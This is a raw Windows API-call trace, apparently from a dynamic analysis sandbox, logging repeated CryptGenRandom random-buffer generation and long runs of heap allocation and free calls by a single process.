	[0030.995] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.996] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.996] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.996] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.997] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.997] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.997] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0030.998] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.998] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0030.998] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x596f48
	[0030.998] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5ba730
	[0030.998] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5ba7b8
	[0030.998] CryptAcquireContextW (in: phProv=0x39d41c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d41c*=0x5b6c38) returned 1
	[0030.999] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d430 | out: pbBuffer=0x39d430) returned 1
	[0030.999] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.999] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9168
	[0030.999] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba7b8 | out: hHeap=0x580000) returned 1
	[0030.999] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b90d8
	[0030.999] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x108) returned 0x5baa88
	[0030.999] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x4) returned 0x596fd0
	[0030.999] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5ba858
	[0030.999] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.999] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0030.999] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5ba7b8
	[0030.999] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10c) returned 0x5b6c38
	[0030.999] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.999] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc) returned 0x58efc0
	[0030.999] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9048
	[0030.999] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba7b8 | out: hHeap=0x580000) returned 1
	[0031.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5ba970
	[0031.000] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9048 | out: hHeap=0x580000) returned 1
	[0031.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fe0
	[0031.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc) returned 0x58efd8
	[0031.000] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.000] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fe0 | out: hHeap=0x580000) returned 1
	[0031.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x88) returned 0x5b9048
	[0031.000] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x58efd8 | out: hHeap=0x580000) returned 1
	[0031.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0031.000] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9048 | out: hHeap=0x580000) returned 1
	[0031.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.000] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.000] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.000] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.000] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.000] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.000] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.000] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.000] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.000] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.000] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.000] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.000] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.000] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.000] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.001] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.001] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.001] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.001] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.001] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.001] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.001] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.001] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.001] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.001] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.001] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.001] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.001] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.001] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.001] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.001] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.001] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.001] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.001] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.002] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.002] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.002] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0031.002] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba970 | out: hHeap=0x580000) returned 1
	[0031.002] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6c38 | out: hHeap=0x580000) returned 1
	[0031.002] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0031.002] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x58efc0 | out: hHeap=0x580000) returned 1
	[0031.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9048
	[0031.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8fb8
	[0031.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8f28
	[0031.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8e98
	[0031.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8e08
	[0031.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8d78
	[0031.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8ce8
	[0031.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8c58
	[0031.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8bc8
	[0031.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8b38
	[0031.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8aa8
	[0031.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8a18
	[0031.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8988
	[0031.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b88f8
	[0031.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8868
	[0031.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b87d8
	[0031.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8748
	[0031.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b91f8
	[0031.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9288
	[0031.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9318
	[0031.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b93a8
	[0031.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9438
	[0031.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b94c8
	[0031.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9558
	[0031.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b95e8
	[0031.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9678
	[0031.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9708
	[0031.003] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9798
	[0031.003] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9828
	[0031.003] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b98b8
	[0031.003] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9948
	[0031.003] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b99d8
	[0031.006] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9048 | out: hHeap=0x580000) returned 1
	[0031.006] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8fb8 | out: hHeap=0x580000) returned 1
	[0031.006] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0031.006] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8e98 | out: hHeap=0x580000) returned 1
	[0031.006] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8e08 | out: hHeap=0x580000) returned 1
	[0031.006] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8d78 | out: hHeap=0x580000) returned 1
	[0031.006] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8ce8 | out: hHeap=0x580000) returned 1
	[0031.006] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8c58 | out: hHeap=0x580000) returned 1
	[0031.006] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8bc8 | out: hHeap=0x580000) returned 1
	[0031.006] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8b38 | out: hHeap=0x580000) returned 1
	[0031.006] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8aa8 | out: hHeap=0x580000) returned 1
	[0031.006] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8a18 | out: hHeap=0x580000) returned 1
	[0031.006] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8988 | out: hHeap=0x580000) returned 1
	[0031.006] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b88f8 | out: hHeap=0x580000) returned 1
	[0031.006] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8868 | out: hHeap=0x580000) returned 1
	[0031.006] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b87d8 | out: hHeap=0x580000) returned 1
	[0031.006] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8748 | out: hHeap=0x580000) returned 1
	[0031.006] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b91f8 | out: hHeap=0x580000) returned 1
	[0031.006] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9288 | out: hHeap=0x580000) returned 1
	[0031.006] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9318 | out: hHeap=0x580000) returned 1
	[0031.006] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b93a8 | out: hHeap=0x580000) returned 1
	[0031.006] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9438 | out: hHeap=0x580000) returned 1
	[0031.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b94c8 | out: hHeap=0x580000) returned 1
	[0031.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9558 | out: hHeap=0x580000) returned 1
	[0031.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b95e8 | out: hHeap=0x580000) returned 1
	[0031.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9678 | out: hHeap=0x580000) returned 1
	[0031.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9708 | out: hHeap=0x580000) returned 1
	[0031.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9798 | out: hHeap=0x580000) returned 1
	[0031.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9828 | out: hHeap=0x580000) returned 1
	[0031.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b98b8 | out: hHeap=0x580000) returned 1
	[0031.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9948 | out: hHeap=0x580000) returned 1
	[0031.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b99d8 | out: hHeap=0x580000) returned 1
	[0031.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0031.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baa88 | out: hHeap=0x580000) returned 1
	[0031.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5b6c38
	[0031.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5bc840
	[0031.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5ba7b8
	[0031.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x108) returned 0x5baa88
	[0031.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc) returned 0x58efc0
	[0031.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0031.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc840 | out: hHeap=0x580000) returned 1
	[0031.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b90d8
	[0031.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba7b8 | out: hHeap=0x580000) returned 1
	[0031.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5ba970
	[0031.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0031.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fe0
	[0031.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc) returned 0x58efd8
	[0031.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fe0 | out: hHeap=0x580000) returned 1
	[0031.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x88) returned 0x5b90d8
	[0031.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x58efd8 | out: hHeap=0x580000) returned 1
	[0031.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0031.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0031.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.007] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.008] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.008] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.008] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.008] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.008] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.008] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.008] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.008] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.008] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.008] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.008] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.008] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.008] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.008] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.008] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.008] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.008] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.008] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.008] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.008] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.009] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
